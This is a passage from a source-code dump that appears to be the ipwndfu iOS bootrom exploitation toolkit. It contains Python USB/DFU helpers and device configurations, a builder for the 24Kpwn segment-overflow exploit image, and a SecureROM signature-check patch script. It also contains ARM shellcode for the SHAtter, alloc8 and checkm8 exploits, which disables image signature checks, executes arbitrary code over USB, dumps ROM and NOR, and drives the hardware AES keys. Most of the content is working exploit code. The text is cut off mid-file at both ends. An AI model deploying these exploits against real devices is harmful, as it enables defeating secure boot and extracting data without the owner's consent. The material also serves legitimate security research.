66 | sram_base=0x10000000, sram_size=0x80000, 67 | dram_base=0x80000000, 68 | nonce_length=20, sep_nonce_length=None, 69 | demotion_reg=0x3F500000, 70 | ), 71 | DevicePlatform(cpid=0x8955, cprv=0x20, scep=0x10, arch='armv7s', srtg='iBoot-1145.3.3', 72 | rom_base=0x3F000000, rom_size=0x10000, rom_sha1='3af575cc84e54f951db2a83227737664abdc8f40', 73 | sram_base=0x10000000, sram_size=0x80000, 74 | dram_base=0x80000000, 75 | nonce_length=20, sep_nonce_length=None, 76 | demotion_reg=0x3F500000, 77 | ), 78 | DevicePlatform(cpid=0x8002, cprv=0x10, scep=0x01, arch='armv7k', srtg='iBoot-2651.0.0.1.31', 79 | rom_base=0x40000000, rom_size=0x100000, rom_sha1='46c14a17f54ec6079260e9253e813084ab1e634b', 80 | sram_base=0x48800000, sram_size=0x120000, 81 | dram_base=0x80000000, 82 | nonce_length=32, sep_nonce_length=20, 83 | demotion_reg=0x481BC000, 84 | ), 85 | DevicePlatform(cpid=0x8004, cprv=0x10, scep=0x01, arch='armv7k', srtg='iBoot-2651.0.0.3.3', 86 | rom_base=0x40000000, rom_size=0x20000, rom_sha1='8afdcd6c147ac63fddadd1b92536d1f80c0b8a21', 87 | sram_base=0x48800000, sram_size=0x140000, 88 | dram_base=0x80000000, 89 | nonce_length=32, sep_nonce_length=20, 90 | demotion_reg=0x481BC000, 91 | ), 92 | DevicePlatform(cpid=0x8960, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-1704.10', 93 | rom_base=0x100000000, rom_size=0x80000, rom_sha1='2ae035c46e02ca40ae777f89a6637be694558f0a', 94 | sram_base=0x180000000, sram_size=0x400000, 95 | dram_base=0x800000000, 96 | nonce_length=20, sep_nonce_length=20, 97 | demotion_reg=0x20E02A000, 98 | ), 99 | DevicePlatform(cpid=0x8010, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-2696.0.0.1.33', 100 | rom_base=0x100000000, rom_size=0x20000, rom_sha1='41a488b3c46ff06c1a2376f3405b079fb0f15316', 101 | sram_base=0x180000000, sram_size=0x200000, 102 | dram_base=0x800000000, 103 | nonce_length=32, sep_nonce_length=20, 104 | demotion_reg=0x2102BC000, 105 | ), 106 | DevicePlatform(cpid=0x8011, cprv=0x10, scep=0x01, arch='arm64', srtg='iBoot-3135.0.0.2.3', 107 | rom_base=0x100000000, rom_size=0x100000, rom_sha1='2fae20a11860b0e3ce1d8a6df7d3961f610ab70d', 108 | sram_base=0x180000000, sram_size=0x200000, 109 | dram_base=0x800000000, 110 | nonce_length=32, sep_nonce_length=20, 111 | demotion_reg=0x2102BC000, 112 | ), 113 | DevicePlatform(cpid=0x8015, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-3332.0.0.1.23', 114 | rom_base=0x100000000, rom_size=0x100000, rom_sha1='96fccb1a63de1a2d50ff14555d3898a5af46e9b1', 115 | sram_base=0x180000000, sram_size=0x200000, 116 | dram_base=0x800000000, 117 | nonce_length=32, sep_nonce_length=20, 118 | demotion_reg=0x2352BC000, 119 | ), 120 | ] 121 | -------------------------------------------------------------------------------- /dfu.py: -------------------------------------------------------------------------------- 1 | import sys, time 2 | import usb # pyusb: use 'pip install pyusb' to install this module 3 | import usb.backend.libusb1 4 | import libusbfinder 5 | 6 | MAX_PACKET_SIZE = 0x800 7 | 8 | def acquire_device(timeout=5.0, match=None, fatal=True): 9 | backend = usb.backend.libusb1.get_backend(find_library=lambda x:libusbfinder.libusb1_path()) 10 | #print 'Acquiring device handle.' 11 | # Keep retrying for up to timeout seconds if device is not found. 12 | start = time.time() 13 | once = False 14 | while not once or time.time() - start < timeout: 15 | once = True 16 | for device in usb.core.find(find_all=True, idVendor=0x5AC, idProduct=0x1227, backend=backend): 17 | if match is not None and match not in device.serial_number: 18 | continue 19 | return device 20 | time.sleep(0.001) 21 | if fatal: 22 | print 'ERROR: No Apple device in DFU Mode 0x1227 detected after %0.2f second timeout. Exiting.' % timeout 23 | sys.exit(1) 24 | return None 25 | 26 | def release_device(device): 27 | #print 'Releasing device handle.' 28 | usb.util.dispose_resources(device) 29 | 30 | def reset_counters(device): 31 | #print 'Resetting USB counters.' 32 | assert device.ctrl_transfer(0x21, 4, 0, 0, 0, 1000) == 0 33 | 34 | def usb_reset(device): 35 | #print 'Performing USB port reset.' 36 | try: 37 | device.reset() 38 | except usb.core.USBError: 39 | # OK: doesn't happen on Yosemite but happens on El Capitan and Sierra 40 | pass 41 | #print 'Caught exception during port reset; should still work.' 42 | 43 | def send_data(device, data): 44 | #print 'Sending 0x%x of data to device.' % len(data) 45 | index = 0 46 | while index < len(data): 47 | amount = min(len(data) - index, MAX_PACKET_SIZE) 48 | assert device.ctrl_transfer(0x21, 1, 0, 0, data[index:index + amount], 5000) == amount 49 | index += amount 50 | 51 | def get_data(device, amount): 52 | #print 'Getting 0x%x of data from device.' % amount 53 | data = str() 54 | while amount > 0: 55 | part = min(amount, MAX_PACKET_SIZE) 56 | ret = device.ctrl_transfer(0xA1, 2, 0, 0, part, 5000) 57 | assert len(ret) == part 58 | data += ret.tostring() 59 | amount -= part 60 | return data 61 | 62 | def request_image_validation(device): 63 | #print 'Requesting image validation.' 64 | assert device.ctrl_transfer(0x21, 1, 0, 0, '', 1000) == 0 65 | device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000) 66 | device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000) 67 | device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000) 68 | usb_reset(device) 69 | -------------------------------------------------------------------------------- /dfuexec.py: -------------------------------------------------------------------------------- 1 | import binascii, datetime, hashlib, struct, sys, time 2 | import usb # pyusb: use 'pip install pyusb' to install this module 3 | import dfu, recovery, image3, image3_24Kpwn, utilities 4 | 5 | EXEC_MAGIC = 'exec'[::-1] 6 | AES_BLOCK_SIZE = 16 7 | AES_GID_KEY = 0x20000200 8 | AES_UID_KEY = 0x20000201 9 | AES_ENCRYPT = 16 10 | AES_DECRYPT = 17 11 | 12 | class PwnedDeviceConfig: 13 | def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_device, load_address, rom_address, rom_size, rom_sha256): 14 | self.version = version 15 | self.cpid = cpid 16 | self.aes_crypto_cmd = aes_crypto_cmd 17 | self.memmove = memmove 18 | self.get_block_device = get_block_device 19 | self.load_address = load_address 20 | self.rom_address = rom_address 21 | self.rom_size = rom_size 22 | self.rom_sha256 = rom_sha256 23 | 24 | configs = [ 25 | #PwnedDeviceConfig( 26 | # # S5L8720 (old bootrom) 27 | # version='240.4', 28 | # cpid='8720', 29 | # aes_crypto_cmd=0x899, 30 | # memmove=0x795c, 31 | # get_block_device=0x1091, 32 | # load_address=0x22000000, 33 | # rom_address=0x20000000, 34 | # rom_size=0x10000, 35 | # rom_sha256='55f4d8ea2791ba51dd89934168f38f0fb21ce8762ff614c1e742407c0d3ca054' 36 | #), 37 | #PwnedDeviceConfig( 38 | # # S5L8720 (new bootrom) 39 | # version='240.5.1', 40 | # cpid='8720', 41 | # aes_crypto_cmd=0x899, 42 | # memmove=0x7964, 43 | # get_block_device=0x1091, 44 | # load_address=0x22000000, 45 | # rom_address=0x20000000, 46 | # rom_size=0x10000, 47 | # rom_sha256='f15ae522dc9e645fcf997f6cec978ed3ce1811915e84938c68203fb95d80d300' 48 | #), 49 | PwnedDeviceConfig( 50 | # S5L8920 (old bootrom) 51 | version='359.3', 52 | cpid='8920', 53 | aes_crypto_cmd=0x925, 54 | memmove=0x83d4, 55 | get_block_device=0x1351, 56 | load_address=0x84000000, 57 | rom_address=0xbf000000, 58 | rom_size=0x10000, 59 | rom_sha256='99fd16f919a506c7f0701620e132e18c0e6f4025a57a85807960ca092e5e3587' 60 | ), 61 | PwnedDeviceConfig( 62 | # S5L8920 (new bootrom) 63 | version='359.3.2', 64 | cpid='8920', 65 | aes_crypto_cmd=0x925, 66 | memmove=0x83dc, 67 | get_block_device=0x1351, 68 | load_address=0x84000000, 69 | rom_address=0xbf000000, 70 | rom_size=0x10000, 71 | rom_sha256='0e6feb1144c95b1ee088ecd6c45bfdc2ed17191167555b6ca513d6572e463c86'), 72 | PwnedDeviceConfig( 73 | # S5L8922 74 | version='359.5', 75 | cpid='8922', 76 | aes_crypto_cmd=0x919, 77 | memmove=0x8564, 78 | get_block_device=0x1851, 79 | load_address=0x84000000, 80 | rom_address=0xbf000000, 81 | rom_size=0x10000, 82 | rom_sha256='07b8a615f00961c5802451b5717c344db287b68c5f6d2331ac6ba7a6acdbac9d' 83 | ), 84 | PwnedDeviceConfig( 85 | # S5L8930 86 | version='574.4', 87 | cpid='8930', 88 | aes_crypto_cmd=0x686d, 89 | memmove=0x84dc, 90 | get_block_device=0x81d5, 91 | load_address=0x84000000, 92 | rom_address=0xbf000000, 93 | rom_size=0x10000, 94 | rom_sha256='4f34652a238a57ae0018b6e66c20a240cdbee8b4cca59a99407d09f83ea8082d' 95 | ), 96 | ] 97 | 98 | class PwnedDFUDevice(): 99 | def __init__(self): 100 | device = dfu.acquire_device() 101 | self.identifier = device.serial_number 102 | dfu.release_device(device) 103 | 104 | if 'PWND:[' not in self.identifier: 105 | print 'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.' 106 | sys.exit(1) 107 | 108 | if 'CPID:8720' in self.identifier: 109 | print 'ERROR: This feature is not supported on iPod Touch (2nd generation).' 110 | sys.exit(1) 111 | 112 | self.config = None 113 | for config in configs: 114 | if 'SRTG:[iBoot-%s]' % config.version in self.identifier: 115 | self.config = config 116 | break 117 | if self.config is None: 118 | print 'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.' 119 | sys.exit(1) 120 | 121 | def ecid_string(self): 122 | tokens = self.identifier.split() 123 | for token in tokens: 124 | if token.startswith('ECID:'): 125 | return token[5:] 126 | print 'ERROR: ECID is missing from USB serial number string.' 127 | sys.exit(1) 128 | 129 | def execute(self, cmd, receiveLength): 130 | device = dfu.acquire_device() 131 | assert self.identifier == device.serial_number 132 | 133 | dfu.reset_counters(device) 134 | dfu.send_data(device, EXEC_MAGIC + cmd) 135 | dfu.request_image_validation(device) 136 | dfu.release_device(device) 137 | 138 | time.sleep(0.5) 139 | 140 | device = dfu.acquire_device() 141 | assert self.identifier == device.serial_number 142 | 143 | requiredLength = 0x8 + receiveLength 144 | requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800 145 | received = dfu.get_data(device, requiredLength) 146 | dfu.release_device(device) 147 | 148 | (exec_cleared, retval) = struct.unpack('<2I', received[:8]) 149 | assert exec_cleared == 0 150 | return (retval, received[8:8 + receiveLength]) 151 | 152 | def securerom_dump(self): 153 | securerom = self.read_memory(self.config.rom_address, self.config.rom_size) 154 | if hashlib.sha256(securerom).hexdigest() != self.config.rom_sha256: 155 | print 'ERROR: SecureROM was dumped, but the SHA256 hash does not match. Exiting.' 156 | sys.exit(1) 157 | return securerom 158 | 159 | def aes(self, data, action, key): 160 | if len(data) % AES_BLOCK_SIZE != 0: 161 | print 'ERROR: Length of data for AES encryption/decryption must be a multiple of %s.' % AES_BLOCK_SIZE 162 | sys.exit(1) 163 | 164 | cmd = struct.pack('<8I', self.config.aes_crypto_cmd, action, self.config.load_address + 36, self.config.load_address + 0x8, len(data), key, 0, 0) 165 | (retval, received) = self.execute(cmd + data, len(data)) 166 | return received[:len(data)] 167 | 168 | def aes_hex(self, hexdata, action, key): 169 | if len(hexdata) % 32 != 0: 170 | print 'ERROR: Length of hex data for AES encryption/decryption must be a multiple of %s.' % (2 * AES_BLOCK_SIZE) 171 | sys.exit(1) 172 | 173 | return binascii.hexlify(self.aes(binascii.unhexlify(hexdata), action, key)) 174 | 175 | def read_memory(self, address, length): 176 | (retval, data) = self.execute(struct.pack('<4I', self.config.memmove, self.config.load_address + 8, address, length), length) 177 | return data 178 | 179 | def write_memory(self, address, data): 180 | (retval, data) = self.execute(struct.pack('<4I%ss' % len(data), self.config.memmove, address, self.config.load_address + 20, len(data), data), 0) 181 | return data 182 | 183 | def nor_dump(self, saveBackup): 184 | (bdev, empty) = self.execute(struct.pack('<2I5s', self.config.get_block_device, self.config.load_address + 12, 'nor0\x00'), 0) 185 | if bdev == 0: 186 | print 'ERROR: Unable to dump NOR. Pointer to nor0 block device was NULL.' 187 | sys.exit(1) 188 | 189 | data = self.read_memory(bdev + 28, 4) 190 | (read,) = struct.unpack(' dest: 9 | value = 0x18000000 - (src - dest) / 4 10 | else: 11 | value = 0x14000000 + (dest - src) / 4 12 | return struct.pack('= 3072: 66 | data = tag[3][:3072] 67 | assert data[-1] == '\x00' 68 | data = data.rstrip('\x00') 69 | self.tags[i] = ('CERT'[::-1], 12 + len(data), len(data), data) 70 | break 71 | 72 | def newImage3(self, decrypted=True): 73 | typeTag = self.getTags('TYPE'[::-1]) 74 | assert len(typeTag) == 1 75 | versTag = self.getTags('VERS'[::-1]) 76 | assert len(versTag) <= 1 77 | dataTag = self.getTags('DATA'[::-1]) 78 | assert len(dataTag) == 1 79 | sepoTag = self.getTags('SEPO'[::-1]) 80 | assert len(sepoTag) <= 2 81 | bordTag = self.getTags('BORD'[::-1]) 82 | assert len(bordTag) <= 2 83 | kbagTag = self.getTags('KBAG'[::-1]) 84 | assert len(kbagTag) <= 2 85 | shshTag = self.getTags('SHSH'[::-1]) 86 | assert len(shshTag) <= 1 87 | certTag = self.getTags('CERT'[::-1]) 88 | assert len(certTag) <= 1 89 | 90 | (tagMagic, tagTotalSize, tagDataSize, tagData) = dataTag[0] 91 | if len(kbagTag) > 0 and decrypted: 92 | newTagData = self.getDecryptedPayload() 93 | kbagTag = [] 94 | else: 95 | newTagData = tagData 96 | assert len(tagData) == len(newTagData) 97 | 98 | return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, newTagData)] + versTag + sepoTag + bordTag + kbagTag + shshTag + certTag) 99 | -------------------------------------------------------------------------------- /image3_24Kpwn.py: -------------------------------------------------------------------------------- 1 | # Credit: This file is based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. 2 | 3 | import struct 4 | import image3 5 | 6 | def exploit(img3, securerom): 7 | with open('bin/24Kpwn-shellcode.bin', 'rb') as f: 8 | shellcode = f.read() 9 | MAX_SHELLCODE_LENGTH = 1024 10 | assert len(shellcode) <= MAX_SHELLCODE_LENGTH 11 | 12 | # Check IMG3 constraints. 13 | (img3_magic, total_size, data_size, signed_size, magic) = struct.unpack('<4s3I4s', img3[:20]) 14 | assert img3_magic == 'Img3'[::-1] and signed_size != 0 and magic == 'illb'[::-1] 15 | assert total_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 16 | assert data_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20 17 | assert signed_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20 18 | assert 20 + signed_size + 4 <= len(img3) and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1] 19 | 20 | PADDING = 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - (20 + signed_size + 12) 21 | SHELLCODE_ADDRESS = 0x84000000 + 1 + (20 + signed_size + 12 + PADDING) 22 | STACK_ADDRESS = 0x84033EA4 23 | img3 = struct.pack('<4s3I4s', 'Img3'[::-1], 0x24200, 0x241BC, 0x23F88, 'illb'[::-1]) + img3[20:20 + signed_size] \ 24 | + struct.pack('4s2I%sx' % PADDING, '24KP'[::-1], 12 + PADDING + len(shellcode) + 4, PADDING + len(shellcode) + 4) + shellcode \ 25 | + struct.pack(' 0x24000 32 | assert img3[16:20] == 'illb'[::-1] 33 | 34 | obj = image3.Image3(img3) 35 | if obj.getDecryptedPayload()[:4] != '\x0e\x00\x00\xea': 36 | # This is a 24Kpwn implementation which changes DATA tag. First dword of DATA tag should look like a shellcode address. 37 | shellcode_address, = struct.unpack('>= 14 27 | e = 0b11 #valid and isPage 28 | e |= 1 << 2 #attrIndex 1 29 | e |= 0b10 << 6 #AP R- in EL1, -- in EL0 30 | e |= 1 << 10 #AF 31 | e |= addr << 14 #outputAddress 32 | return e 33 | 34 | def makePTE_Table_16K(addr): 35 | addr >>= 14 36 | e = 0b11 #valid and isTable 37 | e |= addr << 14 #outputAddress 38 | return e 39 | 40 | 41 | def main(): 42 | print "*** SecureROM t8015 sigcheckpath by tihmstar ***" 43 | device = dfu.acquire_device() 44 | print "Found:", device.serial_number 45 | if not "PWND:[" in device.serial_number: 46 | print "Please enable pwned DFU Mode first." 47 | sys.exit(1) 48 | if not "PWND:[checkm8]" in device.serial_number: 49 | print "Only devices pwned using checkm8 are supported." 50 | sys.exit(1) 51 | dfu.release_device(device) 52 | 53 | device = usbexec.PwnedUSBDevice() 54 | 55 | #make Level3 Table 56 | l3table = "" 57 | for addr in range(0x0000000100000000,0x0000000100100000,PAGE_SIZE): 58 | entry = struct.pack(" MAX_SIZE) goto img3_fail 228 | 229 | MOV R8, R2 @ R8 = R0[1] 230 | 231 | MOV R0, R4 232 | MOV R1, R6 233 | LDR R4, =image3_create_struct 234 | BLX R4 235 | MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0) 236 | 237 | LDR R3, =image3_load_continue @ R3 = image3_load_continue 238 | 239 | CBZ R4, img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3 240 | 241 | img3_fail: 242 | MOV R4, #1 @ R4 = 1 243 | 244 | LDR R3, =image3_load_fail @ R3 = image3_load_fail 245 | 246 | img3_branch_R3: 247 | BX R3 @ goto R3 248 | 249 | .align 2 250 | 251 | PWND_STRING: 252 | .ascii " PWND:[SHAtter]\x00" 253 | -------------------------------------------------------------------------------- /src/alloc8-shellcode.S: -------------------------------------------------------------------------------- 1 | @ alloc8-shellcode.S 2 | @ Author: axi0mX 3 | @ Shellcode for alloc8 exploit with minor improvements: 4 | @ * supports 'exec' magic for code execution over USB 5 | @ * reports PWND:[alloc8] in USB serial number string 6 | @ * enters pwned DFU on boot if home and power buttons are being held and cable is connected 7 | 8 | .text 9 | 10 | .pool 11 | .set free, 0xBAD00004 12 | .set get_nor_image, 0xBAD0000a 13 | .set memz_create, 0xBAD00013 14 | .set memz_destroy, 0xBAD00014 15 | .set image3_create_struct, 0xBAD00017 16 | .set image3_load_continue, 0xBAD00018 17 | .set image3_load_fail, 0xBAD00019 18 | .set usb_wait_for_image, 0xBAD00010 19 | .set usb_create_serial_number_string, 0xBAD0000e 20 | .set jump_to, 0xBAD0000d 21 | .set exit_critical_section, 0xBAD00005 22 | .set cable_connected, 0xBAD00008 23 | .set power_button_pressed, 0xBAD00007 24 | .set home_button_pressed, 0xBAD00006 25 | .set clean_invalidate_data_cache, 0xBAD00002 26 | .set strlcat, 0xBAD0000f 27 | 28 | .set gNorImg3List, 0xBAD00003 29 | .set gLeakingDFUBuffer, 0xBAD00011 30 | 31 | .set MAIN_STACK_ADDRESS, 0xBAD00001 32 | .set LOAD_ADDRESS, 0xBAD0000b 33 | .set MAX_SIZE, 0xBAD0000c 34 | .set ILLB_MAGIC, 0xBAD00009 35 | .set MEMZ_STRUCT_MAGIC, 0xBAD00016 36 | .set IMG3_STRUCT_MAGIC, 0xBAD00015 37 | .set EXEC_MAGIC, 0xBAD00012 38 | 39 | .global _start 40 | 41 | _start: 42 | .code 16 43 | LDR R0, =MAIN_STACK_ADDRESS 44 | MOV SP, R0 @ SP = MAIN_STACK_ADDRESS 45 | 46 | LDR R0, =clean_invalidate_data_cache 47 | BLX R0 @ clean_invalidate_data_cache() 48 | 49 | LDR R4, =gNorImg3List @ R4 = &gNorImg3List 50 | 51 | LDR R1, [R4, #4] @ R1 = R4[1] 52 | 53 | LDR R5, [R1, #4] @ R5 = R1[1] 54 | 55 | STR R4, [R1, #4] @ R1[1] = R4 56 | 57 | STR R1, [R4] @ gNorImg3List = R1 58 | 59 | LDR R6, =free @ R6 = free 60 | 61 | free_loop: 62 | CMP R4, R5 63 | BEQ pwned_boot @ if (R4 == R5) goto pwned_boot 64 | 65 | MOV R0, R5 @ R0 = R5 66 | 67 | LDR R5, [R5, #4] @ R5 = R5[1] 68 | 69 | BLX R6 @ free(R0) 70 | 71 | B free_loop @ goto free_loop 72 | 73 | pwned_boot: 74 | SUB SP, SP, #0xC @ SP -= 0xC 75 | 76 | LDR R3, =exit_critical_section 77 | BLX R3 @ exit_critical_section() 78 | 79 | LDR R3, =home_button_pressed 80 | BLX R3 @ R0 = home_button_pressed() 81 | 82 | CBZ R0, pwned_llb_boot @ if (R0 == 0) goto pwned_llb_boot 83 | 84 | LDR R3, =power_button_pressed 85 | BLX R3 @ R0 = power_button_pressed() 86 | 87 | CBZ R0, pwned_llb_boot @ if (R0 == 0) goto pwned_llb_boot 88 | 89 | LDR R3, =cable_connected 90 | BLX R3 @ R0 = cable_connected() 91 | 92 | CBNZ R0, pwned_dfu @ if (R0 != 0) goto pwned_dfu 93 | 94 | pwned_llb_boot: 95 | LDR R0, =ILLB_MAGIC 96 | LDR R3, =get_nor_image 97 | BLX R3 @ R0 = get_nor_image(ILLB_MAGIC) 98 | 99 | CBZ R0, pwned_dfu @ if (R0 == 0) goto pwned_dfu 100 | 101 | LDR R1, =LOAD_ADDRESS 102 | STR R1, [SP] @ SP[0] = LOAD_ADDRESS 103 | 104 | LDR R1, =MAX_SIZE 105 | STR R1, [SP, #4] @ SP[1] = MAX_SIZE 106 | 107 | MOV R1, SP 108 | ADD R2, SP, #4 109 | BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) 110 | 111 | CBNZ R0, pwned_dfu @ if (R0 != 0) goto pwned_dfu 112 | 113 | LDR R1, =LOAD_ADDRESS 114 | MOV R2, #0 115 | LDR R3, =jump_to 116 | BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) 117 | 118 | /* jump_to should never return */ 119 | 120 | pwned_dfu: 121 | MOV R0, #1 122 | LDR R3, =usb_create_serial_number_string 123 | BLX R3 @ R0 = usb_create_serial_number_string(1) 124 | 125 | ADR R1, PWND_STRING 126 | MOV R2, #120 127 | LDR R3, =strlcat 128 | BLX R3 @ strlcat(R0, PWND_STRING, 120) 129 | 130 | pwned_dfu_loop: 131 | LDR R0, =LOAD_ADDRESS 132 | LDR R1, =MAX_SIZE 133 | LDR R3, =usb_wait_for_image 134 | BLX R3 135 | MOV R4, R0 @ R4 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE) 136 | 137 | LDR R5, =gLeakingDFUBuffer 138 | LDR R0, [R5] 139 | LDR R3, =free 140 | BLX R3 @ free(gLeakingDFUBuffer) 141 | 142 | MOV R0, #0 143 | STR R0, [R5] @ gLeakingDFUBuffer = 0 144 | 145 | CMP R4, #0 146 | BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop 147 | 148 | LDR R5, =LOAD_ADDRESS 149 | LDR R0, [R5] @ R0 = LOAD_ADDRESS[0] 150 | 151 | LDR R1, =EXEC_MAGIC 152 | CMP R0, R1 153 | BEQ pwned_dfu_exec_magic @ if (R0 == EXEC_MAGIC) goto pwned_dfu_exec_magic 154 | 155 | LDR R0, =LOAD_ADDRESS 156 | MOV R1, R4 157 | MOV R2, #0 158 | LDR R3, =memz_create 159 | BLX R3 160 | MOV R4, R0 @ R4 = memz_create(LOAD_ADDRESS, R4, 0) 161 | 162 | CBZ R4, pwned_dfu_loop_end @ if (R4 == 0) goto pwned_dfu_loop_end 163 | 164 | STR R5, [SP] @ SP[0] = LOAD_ADDRESS 165 | 166 | STR R4, [SP, #4] @ SP[1] = R4 167 | 168 | MOV R1, SP 169 | ADD R2, SP, #4 170 | BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) 171 | 172 | CBNZ R0, pwned_dfu_load_failed @ if (R0 != 0) goto pwned_dfu_load_failed 173 | 174 | LDR R1, =LOAD_ADDRESS 175 | MOV R2, #0 176 | LDR R3, =jump_to 177 | BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) 178 | 179 | /* jump_to should never return */ 180 | 181 | pwned_dfu_load_failed: 182 | MOV R0, R4 183 | LDR R3, =memz_destroy 184 | BLX R3 @ memz_destroy(R4) 185 | 186 | pwned_dfu_loop_end: 187 | B pwned_dfu_loop @ goto pwned_dfu_loop 188 | 189 | pwned_dfu_exec_magic: 190 | LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */ 191 | 192 | LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */ 193 | 194 | LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */ 195 | 196 | LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */ 197 | 198 | LDR R4, [R5, #0x18] /* TODO: Consider replacing with memmove? */ 199 | STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */ 200 | 201 | LDR R4, [R5, #0x1C] 202 | STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */ 203 | 204 | LDR R4, [R5, #0x20] 205 | STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */ 206 | 207 | LDR R4, [R5, #0x4] 208 | BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2]) 209 | 210 | STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0 211 | 212 | MOV R0, #0 213 | STR R0, [R5] @ LOAD_ADDRESS[0] = 0 214 | 215 | B pwned_dfu_loop @ goto pwned_dfu_loop 216 | 217 | image3_load_no_signature_check: 218 | PUSH {R4-R7, LR} /* TODO: Rewrite this ugly mess. */ 219 | 220 | MOV R6, R11 221 | MOV R5, R10 222 | MOV R4, R8 223 | PUSH {R4-R6} 224 | 225 | ADD R7, SP, #0x18 226 | SUB SP, SP, #0x60 227 | 228 | STR R2, [SP, #0x10] 229 | 230 | MOVS R3, #0 231 | STR R3, [SP, #0x50] 232 | 233 | LDR R6, [R1] 234 | MOV R10, R1 235 | MOVS R5, R0 236 | 237 | LDR R0, [R5, #4] 238 | MOV R8, R0 239 | 240 | LDR R1, =MAX_SIZE 241 | CMP R0, R1 242 | BGT img3_bad_size 243 | 244 | LDR R0, [R5, #0xC] 245 | LDR R1, =IMG3_STRUCT_MAGIC 246 | CMP R0, R1 247 | BNE not_nor_img3 248 | 249 | MOV R4, R8 250 | STR R4, [SP] 251 | 252 | LDR R4, [R5, #0x14] 253 | LDR R0, [R4, #8] 254 | LDR R1, =LOAD_ADDRESS 255 | LDR R2, [R4, #0xC] 256 | MOVS R3, #0 257 | LDR R4, [R0, #0x1C] 258 | BLX R4 259 | 260 | CMP R0, R8 261 | BNE img3_fail 262 | 263 | B img3_continue 264 | 265 | not_nor_img3: 266 | LDR R1, =MEMZ_STRUCT_MAGIC 267 | CMP R0, R1 268 | BNE img3_fail 269 | 270 | img3_continue: 271 | ADD R0, SP, #0x50 272 | MOVS R1, R6 273 | MOV R2, R8 274 | MOVS R3, #0 275 | LDR R4, =image3_create_struct 276 | BLX R4 277 | 278 | MOV R4, R0 279 | 280 | CBNZ R4, img3_fail 281 | 282 | LDR R3, =image3_load_continue 283 | BX R3 284 | 285 | img3_bad_size: 286 | MOV R8, R1 287 | 288 | img3_fail: 289 | MOV R4, #1 290 | LDR R3, =image3_load_fail 291 | BX R3 292 | 293 | .align 2 294 | 295 | PWND_STRING: 296 | .ascii " PWND:[alloc8]\x00" 297 | -------------------------------------------------------------------------------- /src/checkm8_arm64.S: -------------------------------------------------------------------------------- 1 | .text 2 | 3 | .pool 4 | .set PAYLOAD_OFFSET, 0xBAD00006 5 | .set PAYLOAD_SIZE, 0xBAD00007 6 | .set PAYLOAD_DEST, 0xBAD00005 7 | .set PAYLOAD_PTR, 0xBAD00008 8 | .set gUSBSerialNumber, 0xBAD00002 9 | .set gUSBSRNMStringDescriptor, 0xBAD00004 10 | .set gUSBDescriptors, 0xBAD00001 11 | .set usb_create_string_descriptor, 0xBAD00003 12 | 13 | .global _main 14 | _main: 15 | MOV X19, #0 // HACK: do not free this usb request 16 | STP X29, X30, [SP,#-0x10]! 17 | MOV X29, SP 18 | 19 | # Do not set USB Descriptors anymore, this will cause a crash on t8011 (and maybe others) 20 | LDR X0, =gUSBDescriptors 21 | LDP X0, X1, [X0] 22 | ADR X2, USB_DESCRIPTOR 23 | LDP X3, X4, [X2] 24 | //STP X3, X4, [X0] 25 | //STP X3, X4, [X1] 26 | LDP X3, X4, [X2,#0x10] 27 | //STP X3, X4, [X0,#0x10] 28 | //STP X3, X4, [X1,#0x10] 29 | 30 | LDR X0, =gUSBSerialNumber 31 | find_zero_loop: 32 | ADD X0, X0, #1 33 | LDRB W1, [X0] 34 | CBNZ W1, find_zero_loop 35 | 36 | ADR X1, PWND_STRING 37 | LDP X2, X3, [X1] 38 | STP X2, X3, [X0] 39 | 40 | LDR X0, =gUSBSerialNumber 41 | LDR X1, =usb_create_string_descriptor 42 | BLR X1 43 | 44 | LDR X1, =gUSBSRNMStringDescriptor 45 | STRB W0, [X1] 46 | 47 | LDR X0, =PAYLOAD_DEST 48 | ADR X1, _main 49 | LDR X2, =PAYLOAD_OFFSET 50 | ADD X1, X1, X2 51 | MOV X2, #0 52 | LDR X3, =PAYLOAD_SIZE 53 | LDR X4, =PAYLOAD_PTR 54 | ADD X5, X0, #0x18 55 | STR X5, [X4] 56 | 57 | copy_loop: 58 | LDP X3, X4, [X1] 59 | STP X3, X4, [X0] 60 | LDP X3, X4, [X1,#0x10] 61 | STP X3, X4, [X0,#0x10] 62 | 